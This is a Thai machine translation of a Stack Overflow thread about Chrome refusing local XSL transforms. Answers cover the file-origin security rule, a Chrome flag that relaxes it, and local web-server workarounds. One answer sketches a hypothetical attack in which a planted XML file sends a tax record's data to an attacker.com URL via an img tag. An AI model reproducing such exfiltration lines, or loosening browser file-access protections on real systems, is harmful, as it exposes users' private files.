Chrome สามารถทำการแปลง XSL ในไฟล์ภายในเครื่องได้หรือไม่?


91

ฉันกำลังดู xslt และเริ่มทดสอบกับตัวอย่างใน w3schools

อย่างไรก็ตามเมื่อฉันบันทึก xml และ xsl ในไฟล์และลองเปิดในเครื่อง chrome จะไม่ทำการแปลง xsl มันแสดงหน้าว่าง

ฉันได้เพิ่ม<?xml-stylesheet type="text/xsl" href="style.xsl">แท็กลงในเอกสาร xml แล้วและ firefox แสดงผลตามที่ควรจะเป็น นอกจากนี้ถ้าฉันดูไฟล์ผ่านเว็บเซิร์ฟเวอร์ chrome จะแสดงไฟล์ตามที่ควรจะเป็น

chrome มีปัญหาในการค้นหาข้อมูลสไตล์ชีตเมื่อลิงก์อยู่ในเครื่องหรือไม่? การเปลี่ยน href เป็นfile:///C:/xsl/style.xslไม่ได้สร้างความแตกต่าง

อัปเดต:สิ่งนี้ดูเหมือนจะเป็นผลข้างเคียงของนโยบายความปลอดภัยที่ไม่ถือว่าไฟล์: /// * เป็นไฟล์ต้นทางเดียวกัน สิ่งนี้ทำให้ข้อผิดพลาดต่อไปนี้ปรากฏในคอนโซล:

ความพยายามที่ไม่ปลอดภัยในการโหลดไฟล์ URL: /// C: /xsl-rpg/style.xsl จากเฟรมด้วยไฟล์ URL: /// C: /xsl-rpg/data.xml โดเมนโปรโตคอลและพอร์ตต้องตรงกัน


1
ดูเหมือนจากfile:โปรโตคอล Chrome จะแสดงข้อผิดพลาดของโดเมนเดียวกัน

1
บน IE11 มันใช้งานได้ Chrome กำลังได้รับความชั่วร้าย
Marco Demaio

คำตอบ:


74

คำตอบสั้น ๆ คือ"ไม่ใช้หนึ่งในเบราว์เซอร์ที่มีให้เลือกมากมาย"

สาเหตุที่ไม่ได้ผลเกิดจากความกังวลด้านความปลอดภัยที่ Chrome ได้กล่าวถึงในลักษณะที่ขัดแย้งกัน[1] [2] [3] [4]โดยการบล็อกไฟล์ XML ไม่ให้เข้าถึงไฟล์ XSLT ในเครื่องในไดเรกทอรีเดียวกันในขณะที่ HTML ไฟล์สามารถเข้าถึงไฟล์. CSS ในไดเร็กทอรีเดียวกันได้ดี

จากปัญหาที่อ้างถึงข้างต้นผู้ใช้ได้ขอข้อความแสดงข้อผิดพลาดที่ชัดเจนขึ้น (เนื่องจากโดเมนโปรโตคอลและพอร์ตตรงกัน) หรืออย่างน้อยก็แสดง XML โดยไม่มีการกำหนดรูปแบบ นักพัฒนา Chrome ได้เพิกเฉยต่อคำขอเหล่านี้


18
แม้ว่าความกังวลด้านความปลอดภัยจะสมเหตุสมผล แต่ไฟล์ XML ควรจะสามารถโหลดสไตล์ชีต XSL จากไดเร็กทอรีเดียวกันได้เช่นเดียวกับไฟล์ HTML ที่สามารถโหลดรูปภาพและสคริปต์จากไดเร็กทอรีเดียวกันได้ มีปัญหาที่คุณสามารถติดดาวได้แต่ทีมนักพัฒนา Chrome ได้ห้ามแสดงความคิดเห็นใหม่แม้ว่าพวกเขาจะบ่นว่าพวกเขาไม่สามารถระบุจำนวนได้ว่าผู้ใช้แย่แค่ไหนที่ต้องการให้แหล่งกำเนิดไฟล์ในเครื่องผ่อนคลาย
Dan Dascalescu

1
ข้อเท็จจริงที่น่าสนใจ: Safari บน Mac (8.0) ทำงานได้ดีกับ XSLT ในเครื่อง แต่ Safari บน iOS (8) ตัวจำลอง (และฉันคิดว่าบน iOS ด้วย) ฉันได้รับข้อผิดพลาดเดียวกันเช่นใน Chrome "โดเมนโปรโตคอลและพอร์ตต้องตรงกัน ". แต่ถ้าฉันจะใช้ UIWebView ในแอพและโหลด XML ด้วย XSLT ทุกอย่างก็ใช้ได้
Paul Brewczynski

จุดเล็ก ๆ น้อย ๆ ในการใช้เบราว์เซอร์อื่นเมื่องานคือการแก้ไขการแสดงผล xslt โดยเฉพาะในเบราว์เซอร์ Chrome ...
n611x007

แนวทางหนึ่งที่ใช้ได้กับ Chromium คือการแทรกไฟล์ XSL ลงในไฟล์ XML เป็นข้อมูล: text / xsl URI
EricLaw

58

คุณสามารถทำได้ในเครื่องโดยใช้แฟล็กบรรทัดคำสั่งของ Chrome

แฟล็กเฉพาะคือ --allow-file-access-from-files

บน OS X: จาก Terminal.app ทำงาน /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

บน Windows: จากพรอมต์คำสั่งเรียกใช้ %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

หมายเหตุ: คุณอาจต้องออกจาก Chrome หากขณะนี้กำลังทำงานอยู่เป็นอย่างอื่น Ch


สิ่งนี้ดูเหมือนจะไม่ได้ผลสำหรับฉันใน Windows 7 ฉันพบ chrome.exe อยู่ที่นี่: C:\Program Files (x86)\Google\Chrome\Applicationและคำสั่ง --allow-file-access-from-files ทำงานได้ดี แต่เอกสาร XML ในเครื่องของฉัน (แปลงโดย a ไฟล์ XSLT ในเครื่อง) ไม่ปรากฏขึ้น
Rick สนับสนุน Monica

2
บางทีคุณอาจต้องฆ่ากระบวนการ windows ที่ทำงานอยู่ทั้งหมดสำหรับ chrome.exe ในตัวจัดการงาน windows ด้วยมือ สำหรับฉันสิ่งนี้ได้ผล
Christian Schulzendorff

1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filesทำงานให้ฉัน เห็นได้ชัดว่าฉันใช้ Chrome Canary หลังจากเรียกใช้คำสั่งนี้หน้าต่าง Chrome ใหม่ควรเปิดขึ้นและให้คุณทำการแปลง XSL ของคุณ
SeanLF

2
เร็วกว่าบน Windows 7: ปุ่มหน้าต่าง + R; "chrome --allow-file-access-from-files"; ป้อน
Aaron Campbell

หรือใน PowerShell (ฆ่าโครเมียมก่อนหน้าให้คุณ):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell

16

หากคุณต้องการยึดติดกับ OP คำตอบคือไม่ (ตามที่คนอื่น ๆ ชี้ให้เห็น) แต่วิธีหนึ่งในการแก้ไขปัญหาคือเรียกใช้เว็บเซิร์ฟเวอร์ง่ายๆและเปิดไฟล์ผ่าน http ใน chrome หากคุณติดตั้ง python 2.x คุณสามารถเรียกใช้เว็บเซิร์ฟเวอร์ได้โดยพิมพ์:

python -m SimpleHTTPServer

หรือใน python 3.x:

python3 -m http.server

จากนั้นเปิดไฟล์โดยใช้http://localhost:8000/yourfile.xmlใน chrome หวังว่าคุณแค่ต้องการทำงานให้เสร็จและไม่ใช่สิ่งสำคัญที่จะต้องเปิดไฟล์โดยใช้file://


นี่เป็นโพสต์เก่า แต่เป็นเคล็ดลับที่ดี! ฉันใช้แพ็คเกจ http-server npm ด้วยตัวเอง :)
jamiebarrow

4

ต้องใช้เวลาในการถอดรหัสเล็กน้อยในหน้า Chrome Bug - พวกเขากระตือรือร้นมากที่จะไม่อธิบายว่าปัญหาคืออะไรและทำไมพวกเขาถึงเลือกทำลายทุกคนแทนที่จะไม่ทำลายทุกคน

สมมติว่าฉันมีไฟล์ XML อยู่ที่ไหนสักแห่งในฮาร์ดไดรฟ์เช่น:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

และเอนทิตีที่เป็นอันตราย - อย่างใด - จัดการเพื่อวางไฟล์ Xml ที่เป็นอันตรายบนคอมพิวเตอร์ของฉันเช่น:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

ลองนึกภาพTrojanVirusWorm.xmlมีคำสั่งการประมวลผลสไตล์ชีท ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

จากนั้นผู้โจมตีจะสั่งให้เบราว์เซอร์ของฉันนำทางไปยังที่บันทึกไว้ในเครื่อง trojanVirusWorm.xmlไฟล์ที่เครื่อง

เห็นได้ชัดว่ามีวิธีที่ไฟล์ XML สามารถอ่านเนื้อหาของไฟล์ XSD (แทนที่จะถูกแปลงโดยไฟล์ XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

ฉันไม่เข้าใจว่าไฟล์ XML อ่านไฟล์สไตล์ชีทได้อย่างไร แต่ทีม Chrome ยืนยันกับเราว่าเป็นอันตรายและไม่สามารถแก้ไขได้

เบราว์เซอร์อื่น ๆ ทุกตัวแก้ไขได้ พวกเขาแก้ไขได้เพราะมันไม่ได้เป็นปัญหา


3

วิธีแก้ปัญหาของฉันเพื่อดู xml ตามไฟล์ xsl

สมมติว่าเรามี some_file.xml ที่มีส่วนหัว:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. เราดาวน์โหลดไฟล์https://some-site.com/Common.xslและวางไว้ข้างๆไฟล์some_file.xml
  2. เปลี่ยนส่วนหัวของเราจากhref="https://some-site.com/Common.xsl"เป็น href="http://localhost:8001/Common.xsl"
  3. เรียกใช้ในไดเรกทอรีด้วยไฟล์ของเรา - python3 -m http.server 8001
  4. เปิดในเบราว์เซอร์ใดก็ได้ http://localhost:8001/some_file.xml

0

คุณสามารถเปิดใช้งาน Chrome เพื่อแสดงไฟล์ XSL โดยเปลี่ยนการตั้งค่าเบราว์เซอร์ของคุณ วิธีที่ปลอดภัยกว่าคือการเข้าถึงผ่านเว็บเซิร์ฟเวอร์ในเครื่องเช่น Visual Studio Code Live Server หรือ Apache ดูXSLT จะไม่แสดงบนไฟล์ในเครื่องสำหรับขั้นตอน

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.